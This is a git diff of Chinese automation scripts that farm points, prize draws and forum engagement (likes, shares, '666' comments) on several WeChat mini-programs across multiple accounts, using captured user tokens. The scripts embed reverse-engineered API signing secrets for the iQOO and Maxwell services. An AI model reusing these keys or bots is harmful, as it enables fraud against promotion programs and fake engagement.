Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" - - -class Task { - constructor(env) { - this.index = $.userIdx++ - this.user = env.split(strSplitor); - this.token = this.user[0]; - this.postId = '' - this.threadId = '' - - } - request(options) { - let baseHeaders = { - sign: this.getSign(options.method, options.url.split('https://bbs-api.iqoo.com')[1].split("?")[0], options.data ? options.data : ''), - 'authorization': 'Bearer ' + this.token, - "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027", - "x-platform": "mini", - "x-visitor": "b89d8b0ffa920e96f3cb4c1f69ec2c66" - } - - options.headers = Object.assign(baseHeaders, options.headers) - - - return axios.request(options) - } - async userInfo() { - let options = { - method: 'GET', - url: `https://bbs-api.iqoo.com/api/v3/v3/user?userId=${this.id}`, - headers: { - - }, - data: { - userId: this.id - } - }; - let { data: result } = await this.request(options); - if (result?.Code == '0') { - $.log(`${this.index}账号[${this.index}] 获取用户信息成功`) - } - } - async run() { - await this.getTreadList() - if (this.threadId && this.postId) { - await this.likePost(this.threadId, this.postId) - await $.wait(5000) - await this.sharePost(this.threadId) - await $.wait(5000) - - await this.viewPost(this.threadId) - await $.wait(5000) - - await this.commonPost(this.threadId) - } - await this.getDrawNum() - await this.signIn() - } - async getDrawNum() { - let options = { - method: 'GET', - url: `https://bbs-api.iqoo.com/api/v3/today.draw.count`, - headers: { - - }, - data: {} - }; - let { data: result } = await this.request(options); - if (result?.Code == '0' && result.Data.count == 0) { - //可以免费抽一次 - await this.draw() - } else { - //已签到 - $.log(`${this.index}账号[${this.index}] 抽奖过`) - - } - } - async draw() { - let options = { - method: 'POST', - url: `https://bbs-api.iqoo.com/api/v3/luck.draw`, - headers: { - - }, - data: {} - }; - let { data: result } = await this.request(options); - if (result?.Code == '0') { - $.log(`${this.index}账号[${this.index}] 抽奖成功 获得${result.Data.prize_name}`) - } - } - async signIn() { - let options = { - method: 'POST', - url: `https://bbs-api.iqoo.com/api/v3/sign`, - headers: { - - }, - data: { "from": "group" } - }; - let { data: result } = await this.request(options); - if (result?.Code == '0') { - //打印签到结果 - $.log(`🌸账号[${this.index}]` + `🕊当前已签到${result.Data.serialDays}天🎉 获得积分${result.Data.score} 当前积分${result.Data.scoreCount}`); - } else { - $.log(`🌸账号[${this.index}] 签到-失败:${result.Message}❌`) - } - - - - - } - async likePost(threadId, postId) { - let { data: likeResult } = await this.request({ - method: 'POST', - url: `https://bbs-api.iqoo.com/api/v3/posts.update`, - headers: { - - }, - data: { "id": threadId, "postId": postId, "data": { "attributes": { "isLiked": true } } } - }); - if (likeResult?.Code == '0') { - $.log(`${this.index}账号[${this.index}] 帖子点赞成功`) - } else { - $.log(`${this.index}账号[${this.index}] 帖子点赞失败:${likeResult.Message}❌`) - } - let { data: unlikeResult } = await this.request({ - method: 'POST', - url: `https://bbs-api.iqoo.com/api/v3/posts.update`, - headers: { - }, - data: { "id": threadId, "postId": postId, "data": { "attributes": { "isLiked": false } } } - }); - if (unlikeResult?.Code == '0') { - $.log(`${this.index}账号[${this.index}] 帖子取消点赞成功`) - } else { - $.log(`${this.index}账号[${this.index}] 帖子取消点赞失败:${unlikeResult.Message}❌`) - } - } - async sharePost(threadId) { - let options = { - method: 'POST', - url: `https://bbs-api.iqoo.com/api/v3/thread.share`, - headers: { - - }, - data: { "threadId": threadId } - }; - let { data: result } = await this.request(options); - if (result?.Code == '0') { - $.log(`${this.index}账号[${this.index}] 帖子分享成功`) - } else { - $.log(`${this.index}账号[${this.index}] 帖子分享失败:${result.Message}❌`) - } - - } - async viewPost(threadId) { - let options = { - method: 'GET', - url: `https://bbs-api.iqoo.com/api/v3/view.count?threadId=` + threadId + `&type=0`, - headers: { - - }, - data: { "threadId": threadId, "type": 0 } - }; - let { data: result } = await this.request(options); - if (result?.Code == '0') { - $.log(`${this.index}账号[${this.index}] 帖子浏览成功`) - } else { - $.log(`${this.index}账号[${this.index}] 帖子浏览失败:${result.Message}❌`) - } - - } - async commonPost(threadId) { - let options = { - method: 'POST', - url: `https://bbs-api.iqoo.com/api/v3/posts.create`, - headers: { - - }, - data: { "id": threadId, "type": 0, "content": "666", "source": "", "attachments": [] } - }; - let { data: result } = await this.request(options); - if (result?.Code == '0') { - $.log(`${this.index}账号[${this.index}] 帖子评论成功`) - } else { - $.log(`${this.index}账号[${this.index}] 帖子评论失败:${result.Message}❌`) - } - - } - async getTreadList() { - let options = { - method: 'GET', - url: `https://bbs-api.iqoo.com/api/v3/thread.list?scope=5&page=1&perPage=10&filter[sort]=4&filter[essence]=1&sequence=0`, - headers: { - - }, - data: { "filter[essence]": 1, "filter[sort]": 4, "page": 1, "perPage": 10, "scope": 5, "sequence": 0 } - }; - let { data: result } = await this.request(options); - - this.threadId = result.Data.pageData[0].threadId - this.postId = result.Data.pageData[0].postId - return - - } - - /** - * - * @param {*} e method - * @param {*} t path - * @param {*} n data - * @returns - */ - getSign(e, t, n) { - - const time = Math.floor(Date.now() / 1e3); - const crypto = require("crypto-js"); - var o, s, r, a = `${time}`, - c = "GET" == e ? function (e) { - var t, o = "", r; - if (typeof e === 'object' && e !== null) { - if (Array.isArray(e)) { - r = e.entries(); - } else { - r = Object.entries(e); - } - try { - for (var entry of r) { - var a = encodeURIComponent(entry[0]), c = encodeURIComponent(entry[1]); - o += "".concat(a, "=").concat(c, "&"); - } - } catch (e) { - console.error(e); - } - return o.slice(0, -1); - } else { - return ''; - } - }(n) : ""; - let l = "GET" == e ? "" : JSON.stringify(n); - o = "2618194b0ebb620055e19cf9811d3c13" - s = e + "&" + t + "&" + c + "&" + l + "&appid=1002×tamp=" + a - r = crypto.HmacSHA256(s, o) - let sign = crypto.enc.Base64.stringify(r) - return `IQOO-HMAC-SHA256 appid=1002,timestamp=${time},signature=${sign}` - } - - - - - - - - - -} - -!(async () => { - await getNotice() - $.checkEnv(ckName); - - for (let user of $.userList) { - await new Task(user).run(); - } -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout:3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) {} - -} - diff --git a/daily/kangshifu.js b/daily/kangshifu.js deleted file mode 100644 index 318515fa..00000000 --- a/daily/kangshifu.js +++ /dev/null @@ -1,111 +0,0 @@ -/* ------------------------------------------- -@Author: sm -@Date: 2024.06.07 19:15 -@Description: 康师傅畅饮社 -cron: 30 10 * * * ------------------------------------------- -#Notice: -康师傅畅饮社小程序 -变量名 ksfcys -账号格式:抓https://club.biqr.cn/api/请求头token 多账户&或换行 -⚠️【免责声明】 ------------------------------------------- -1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 -2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 -3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 -4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 -5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 -6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 -7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 -*/ - -const { Env } = require("../tools/env") -const $ = new Env("康师傅畅饮社"); -let ckName = `ksfcys`; -const strSplitor = "#"; - -const axios = require("axios"); -const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" - - -class Task { - constructor(env) { - this.index = $.userIdx++ - this.user = env.split(strSplitor); - this.token = this.user[0]; - - } - - async run() { - - await this.signIn() - } - - async signIn() { - let options = { - url: `https://club.biqr.cn/api/signIn/integralSignIn`, - headers: { - 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027', - 'Accept': 'application/json, text/plain, */*', - 'xweb_xhr': '1', - 'Content-Type': 'application/x-www-form-urlencoded;', - 'Token': '' + this.token, - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://servicewechat.com/wx54f3e6a00f7973a7/795/page-frame.html', - 'Accept-Language': 'zh-CN,zh;q=0.9' - }, - method: 'POST', - data: { - - } - } - let { data: result } = await axios.request(options); - if (result.code == 0) { - $.log(`账号[${this.index}]【${this.name}】 签到成功`); - } else { - $.log(result); - - } - } - - - - - - - - - -} - -!(async () => { - await getNotice() - $.checkEnv(ckName); - - for (let user of $.userList) { - await new Task(user).run(); - } -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout: 3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) { } - -} diff --git a/daily/maisiweier.js b/daily/maisiweier.js deleted file mode 100644 index f331f58a..00000000 --- a/daily/maisiweier.js +++ /dev/null @@ -1,387 +0,0 @@ -/* ------------------------------------------- -@Author: sm -@Date: 2024.06.07 19:15 -@Description: 麦斯威尔福利社小程序 签到 浇水 积分 -cron: 30 9 * * * ------------------------------------------- -#Notice: 麦斯威尔福利社小程序 -抓jde.mtbcpt.com/api的POST请求中的openId 多账户&或换行 -⚠️【免责声明】 ------------------------------------------- -1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 -2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 -3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 -4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 -5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 -6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 -7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 -*/ - -const { Env } = require("../tools/env") -const $ = new Env("麦斯威尔福利社小程序"); -let ckName = `mswe`; -const strSplitor = "#"; -const axios = require("axios"); -const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" - - -class Task { - constructor(env) { - this.index = $.userIdx++ - this.user = env.split(strSplitor); - this.openId = this.user[0]; - - } - - async run() { - await this.getMemberTaskInfo() - await this.getUserFarmGetWaterList() - for (let i = 0; i < 3; i++) { - await this.farmWatering(); - } - } - - md5(str) { - const crypto = require("crypto") - return crypto.createHash("md5").update(str).digest('hex'); - } - // ============================================================================================================================= - - async getMemberTaskInfo() { - try { - let timestamp = Date.now(); - let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); - let options = { - method: 'post', - url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/GetMemberTaskInfo', - headers: { - 'Host': 'jde.mtbcpt.com', - 'content-type': 'application/json', - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', - }, - data: { - "openId": this.openId, - "timestamp": timestamp, - "sign": sign, - } - }; - - let { data: result } = await axios.request(options) - - if (result?.state == true) { - - $.log(`🌸账号[${this.index}]` + `查询任务成功🎉`); - if (result.data.dailySign != 1) { - $.log(`${this.index}账号[${this.index}]` + `未签到`); - await this.signDailyScore() - - } else { - $.log(`${this.index}账号[${this.index}]` + `已签到`); - - - } - if (result.data.shareSign != 1) { - $.log(`${this.index}账号[${this.index}]` + `未分享`); - //分享 - await this.shareDailyScore() - } else { - $.log(`${this.index}账号[${this.index}]` + `已分享`); - - } - - } else { - $.log(`🌸账号[${this.index}]查询任务-失败:${result.msg}❌`) - } - - } catch (e) { - - } - } - async signDailyScore() { - try { - let timestamp = Date.now(); - let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); - let options = { - method: 'post', - url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/SignInDailyScore', - headers: { - 'Host': 'jde.mtbcpt.com', - 'content-type': 'application/json', - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', - }, - data: { - "openId": this.openId, - "timestamp": timestamp, - "sign": sign, - } - }; - - let { data: result } = await axios.request(options) - - if (result?.state == true) { - - $.log(`🌸账号[${this.index}]` + `🕊${result.msg}🎉`); - } else { - $.log(`🌸账号[${this.index}]签到-失败:${result.msg}❌`) - } - - } catch (e) { - - } - } - //分享加积分 - async shareDailyScore() { - try { - let timestamp = Date.now(); - let sign = md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); - let options = { - method: 'post', - url: `https://jde.mtbcpt.com/api/JDEMaxwellApi/ShareDailyScore`, - headers: { - 'Host': 'jde.mtbcpt.com', - 'content-type': 'application/json', - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', - }, - data: { - "through": true, - "openId": this.openId, - "timestamp": timestamp, - "sign": sign, - } - - } - // - let { data: result } = await axios.request(options) - - if (result?.state == true) { - //打印签到结果 - $.log(`🌸账号[${user.index}]` + `🕊${result.msg}🎉`); - } if (result?.state == false) { - $.log(`🌸账号[${user.index}]分享-失败:${result.msg}❌`) - } - } catch (e) { - - } - } - async getUserFarmGetWaterList() { - try { - let timestamp = Date.now(); - let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); - let options = { - method: 'post', - url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/getUserFarmGetWaterList', - headers: { - 'Host': 'jde.mtbcpt.com', - 'content-type': 'application/json', - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', - }, - data: { - "openId": this.openId, - "timestamp": timestamp, - "sign": sign, - } - }; - - let { data: result } = await axios.request(options) - - if (result?.state == true) { - - $.log(`🌸账号[${this.index}]` + `查询农场任务成功🎉`); - for (let task of result.data.list) { - if (task.status != 3) { - $.log(`${this.index}账号[${this.index}][${task.taskName}]` + `未执行`); - if (task.ptype == 1) { - await this.farmSign() - } - if (task.ptype == 2) { - await this.farmShare() - } - } else { - $.log(`${this.index}账号[${this.index}][${task.taskName}]` + `已执行`); - - } - - } - - - - - - } else { - $.log(`🌸账号[${this.index}]查询任务-失败:${result.msg}❌`) - } - - } catch (e) { - - } - } - //浇水签到 - async farmSign() { - try { - let timestamp = Date.now(); - let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); - let options = { - method: 'post', - url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/UserSign', - headers: { - 'Host': 'jde.mtbcpt.com', - 'content-type': 'application/json', - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', - }, - data: { - - "openId": this.openId, - "timestamp": timestamp, - "sign": sign, - - } - }; - let { data: result } = await axios.request(options) - if (result?.state == true) { - - $.log(`🌸账号[${this.index}]` + `🕊水滴签到-领取成功${result.msg}🎉`); - } else { - $.log(`🌸账号[${this.index}]水滴签到-失败:${result.msg}❌`) - } - - } catch (e) { - - } - } - //分享领水滴 - async farmShare() { - try { - let timestamp = Date.now(); - let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); - let options = { - method: 'post', - url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/UserShare', - headers: { - 'Host': 'jde.mtbcpt.com', - 'content-type': 'application/json', - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', - }, - data: { - - "openId": this.openId, - "timestamp": timestamp, - "sign": sign, - - } - }; - - let { data: result } = await axios.request(options) - if (result?.state == true) { - - $.log(`🌸账号[${this.index}]` + `🕊任务分享领水滴-领取成功${result.msg}🎉`); - } else { - $.log(`🌸账号[${this.index}]任务分享领水滴-失败:${result.msg}❌`) - } - - } catch (e) { - - } - } - //浇水 - async farmWatering() { - try { - let timestamp = Date.now(); - let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); - let options = { - method: 'post', - url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/UserWatering', - headers: { - 'Host': 'jde.mtbcpt.com', - 'content-type': 'application/json', - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', - }, - data: { - "openId": this.openId, - "timestamp": timestamp, - "sign": sign, - } - }; - - let { data: result } = await axios.request(options) - if (result?.state == true) { - - $.log(`🌸账号[${this.index}]` + `🕊浇水-成功${result.msg}🎉`); - } else { - $.log(`🌸账号[${this.index}]浇水-失败:${result.msg}❌`) - } - - } catch (e) { - - } - } - async getUserPoint() { - try { - let timestamp = Date.now() - let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); - let options = { - method: 'post', - url: 'https://jde.mtbcpt.com/api/JDEMWMall/GetUserPoint', - headers: { - 'Host': 'jde.mtbcpt.com', - 'content-type': 'application/json', - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', - }, - data: { - - "openId": this.openId, - "timestamp": timestamp, - "sign": sign, - - } - }; - - let { data: result } = await axios.request(options) - if (result?.state == true) { - this.userFlag = false - $.log(`🌸账号[${this.index}]` + `🕊${result.msg}为[${result.data}]💰`); - } else { - $.log(`🌸账号[${this.index}]积分查询失败:${result.msg}❌`) - } - - } catch (e) { - - } - } - - - - - - - -} - -!(async () => { - await getNotice() - $.checkEnv(ckName); - - for (let user of $.userList) { - await new Task(user).run(); - } -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout:3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) {} - -} diff --git a/daily/nwdjg.py b/daily/nwdjg.py deleted file mode 100644 index 42215f6e..00000000 --- a/daily/nwdjg.py +++ /dev/null @@ -1,103 +0,0 @@ -#入口:https://i.postimg.cc/7YjhgtCH/mmexport1742029346894.jpg -#抓包任意域名下的authorization,注意不要开头的Bearer,支持多账号 -#环境变量名:NWDJG -# new Env("浓五的酒馆") -# cron 8 8 * * * -#by:哆啦A梦 - - - - -import requests -import os - - -tokens = os.getenv("NWDJG",'') -if not tokens: - raise ValueError("环境变量 NWDJG 未设置,请确保已正确配置环境变量。") - - -token_list = tokens.split("&") - - -headers_template = { - 'xweb_xhr': '1', - 'content-type': 'application/json', - 'sec-fetch-site': 'cross-site', - 'sec-fetch-mode': 'cors', - 'sec-fetch-dest': 'empty', - 'accept-language': 'zh-CN,zh;q=0.9', -} - -sign_url = 'https://stdcrm.dtmiller.com/scrm-promotion-service/promotion/sign/today' -sign_params = { - 'promotionId': 'PI69cb44d522cc56000aa80bbe', -} - -points_url = 'https://stdcrm.dtmiller.com/scrm-promotion-service/mini/wly/user/info' - -def get_proclamation(): - external_url = "https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt" - try: - response = requests.get(external_url) - if response.status_code == 200: - print(response.text) - print("公告获取成功,开始执行任务...") - else: - print(f"获取公告失败,状态码: {response.status_code}") - except requests.exceptions.RequestException as e: - print(f"获取公告时发生错误: {e}") - - -#get_proclamation() - - -total_accounts = len(token_list) -success_count = 0 -fail_count = 0 - -# 遍历每个账号,依次执行签到和查询积分任务 -for index, token in enumerate(token_list, start=1): - print(f"\n正在处理账号 {index}/{total_accounts}...") - - - headers = headers_template.copy() - headers['authorization'] = f"Bearer {token}" - - - points_response = requests.get(points_url, headers=headers) - if points_response.status_code == 200: - points_data = points_response.json() - if points_data['code'] == 0: - mobile = points_data['data']['member']['mobile'] - account_name = f"{mobile[:3]}*****{mobile[-3:]}" - print(f"账号:{account_name}") - else: - print(f"查询积分失败,{points_data['msg']}") - account_name = "未知" - else: - print(f"查询积分网络请求异常,状态码:{points_response.status_code},响应内容:{points_response.text}") - account_name = "未知" - - print("正在尝试签到...") - sign_response = requests.get(sign_url, params=sign_params, headers=headers) - - if sign_response.status_code == 200: - sign_data = sign_response.json() - if sign_data['code'] == 0: - print("签到成功!") - print(f"签到天数:{sign_data['data']['signDays']}") - print(f"是否已领取奖励:{sign_data['data']['isReceive']}") - print(f"奖励信息:{sign_data['data']['prize']['goodsName']},积分:{sign_data['data']['prize']['prizePoints']}") - success_count += 1 - else: - print(f"签到失败,{sign_data['msg']}") - fail_count += 1 - else: - print(f"签到网络请求异常,状态码:{sign_response.status_code},响应内容:{sign_response.text}") - fail_count += 1 - -print(f"\n任务完成!") -print(f"总账号数量:{total_accounts}") -print(f"签到成功账号:{success_count}") -print(f"签到失败账号:{fail_count}") \ No newline at end of file diff --git a/daily/qiehuang.py b/daily/qiehuang.py index 60e75fc2..fe9301d1 100644 --- a/daily/qiehuang.py +++ b/daily/qiehuang.py @@ -1,510 +1,411 @@ # cron: 25 10 * * * -# new Env('统一快乐星球茄皇') +# new Env('统一快乐星球茄皇(五期)') +# +# QH 账号格式:wid#openId +# 多账号用 & 或换行分隔,例如:3149997835#oBk224...U7MM&10062340803#oBk224...G08I -import requests +import base64 import json import os -import time -import re import random -from collections import defaultdict +import time + +import requests from notify import send -users = os.getenv("QH", '').splitlines() -# 清洗数据:去除每个用户字符串的首尾空格,过滤空行/全空格的无效数据 -users = [user.strip() for user in users if user.strip()] - -# 解析为 (wid, 手机号) 列表 -parsed_users = [] -for user_str in users: - if "#" in user_str: - # 按#拆分(只拆1次,避免手机号含#导致拆分错误) - wid, phone = user_str.split("#", 1) - parsed_users.append((wid.strip(), phone.strip())) - else: - # 兼容旧格式:只有wid没有手机号时,手机号为空字符串 - parsed_users.append((user_str.strip(), "")) - -# UA可自行替换为自己的 -user_agent = "Mozilla/5.0 (Linux; Android 14; 23046RP50C Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/142.0.7444.172 Safari/537.36 XWEB/1420045 MMWEBSDK/20250201 MMWEBID/5714 MicroMessenger/8.0.57.2820(0x28003956) WeChat/arm64 Weixin Android Tablet NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9" -STEP_ORDER = ["登录", "领取种子", "签到", "浏览任务", "收获作物", "播种", "循环浇水"] -STEP_EMOJI = {"登录": "🔑", "领取种子": "🌱", "签到": "📅", "浏览任务": "🔍", "收获作物": "🌾", "播种": "🌱", "循环浇水": "🔄"} - -def _short(s, n=120): - s = s.strip() - return s if len(s) <= n else s[:n - 1] + "…" - -def _pick_status(line: str) -> str: - if "✅" in line: return "✅" - if "⚠️" in line: return "⚠️" - if "❌" in line: return "❌" - return "ℹ️" - -def _step_key(line: str) -> str: - for k in STEP_ORDER: - if k in line: - return k - return "信息" - -def _pull_resource_snapshot(lines): - res = {} - for line in reversed(lines): - if "☀️" in line: - try: res["sun"] = int(re.findall(r"☀️(\d+)", line)[0]) - except: pass - if "💧" in line: - try: res["water"] = int(re.findall(r"💧(\d+)", line)[0]) - except: pass - if "🍅" in line: - try: res["fruit"] = int(re.findall(r"🍅(\d+)", line)[0]) - except: pass - if len(res) >= 2: - break - return res - -def render_report(all_lines): - blocks, cur = [], [] - for ln in all_lines: - if ln.strip().startswith("👤 用户"): - if cur: blocks.append(cur) - cur = [ln.strip()] - elif ln is not None: - cur.append(ln.rstrip()) - if cur: blocks.append(cur) - out = [] - for b in blocks: - if not b: continue - header = b[0].strip() - out.append("━━━━━━━━━━━━━━━━━━━━━━") - out.append(header) - bucket = defaultdict(list) - for ln in b[1:]: - if not ln.strip(): continue - bucket[_step_key(ln)].append(ln) - snap = _pull_resource_snapshot(b) - if snap: - res_line = "📊 当前资源:" - if "sun" in snap: res_line += f"☀️{snap['sun']} " - if "water" in snap: res_line += f"💧{snap['water']} " - if "fruit" in snap: res_line += f"🍅{snap['fruit']} " - out.append(res_line.strip()) - for step in STEP_ORDER + ["信息"]: - if step not in bucket: continue - lines = bucket[step] - cleaned, seen = [], set() - for ln in lines: - if set(ln.strip()) in (set("="),): - continue - # 关键修复:循环浇水日志不做去重(保留所有记录) - if step == "循环浇水": - cleaned.append(ln) - else: - norm = re.sub(r"账号\d+:", "", re.sub(r"\s+", " ", ln)).strip() - if norm not in seen: - seen.add(norm) - cleaned.append(ln) - # 循环浇水保留所有记录 - if step == "循环浇水": - picked = cleaned - else: - picked = cleaned[-1:] if cleaned else [] - for pln in picked: - status = _pick_status(pln) - icon = STEP_EMOJI.get(step, "•") - body = re.sub(r"^[🔑🌱📅🔍🌾🔄]+\s*" + re.escape(step) + r"[::]?\s*", "", pln) - body = re.sub(r"^[✅❌⚠️ℹ️]+\s*", "", body) - out.append(f"{icon} {step} {status} {_short(body)}") - succ = sum("✅" in ln for ln in b) - fail = sum("❌" in ln for ln in b) - warn = sum("⚠️" in ln for ln in b) - out.append(f"🧾 小结:成功 {succ} · 预警 {warn} · 失败 {fail}") - out.append("━━━━━━━━━━━━━━━━━━━━━━") - return "\n".join(out) - - -def login(wid, phone, user_logs): - step = "登录" - # 校验手机号是否存在 - if not phone: - msg = "未配置手机号,登录失败 🔒" - print(msg) - user_logs.append(f"🔑 {step}: {msg}") - return None +try: + from cryptography.hazmat.primitives import hashes, serialization + from cryptography.hazmat.primitives.asymmetric import padding + from cryptography.hazmat.primitives.ciphers.aead import AESGCM + + CRYPTO_BACKEND = "cryptography" +except ImportError: try: - url = "https://api.zhumanito.cn/api/login" - # 新增手机号参数 wm_phone - payload = {"wid": wid, "wm_phone": phone} - headers = {'User-Agent': user_agent, 'Content-Type': "application/json"} - response = requests.post(url, data=json.dumps(payload), headers=headers) - response.raise_for_status() - dljson = response.json() - # 响应格式新增 code 字段校验 - if dljson.get("code") == 200 and 'data' in dljson and 'token' in dljson['data'] and 'user' in dljson['data'] and 'land' in dljson['data']: - msg = f"登录成功(手机号:{phone})✅" - print(msg) - user_logs.append(f"🔑 {step}: {msg}") - time.sleep(random.uniform(4, 5)) - return { - "token": dljson['data']['token'], - "user_data": dljson['data']['user'], - "land_data": dljson['data']['land'] + from Crypto.Cipher import AES, PKCS1_OAEP + from Crypto.Hash import SHA256 + from 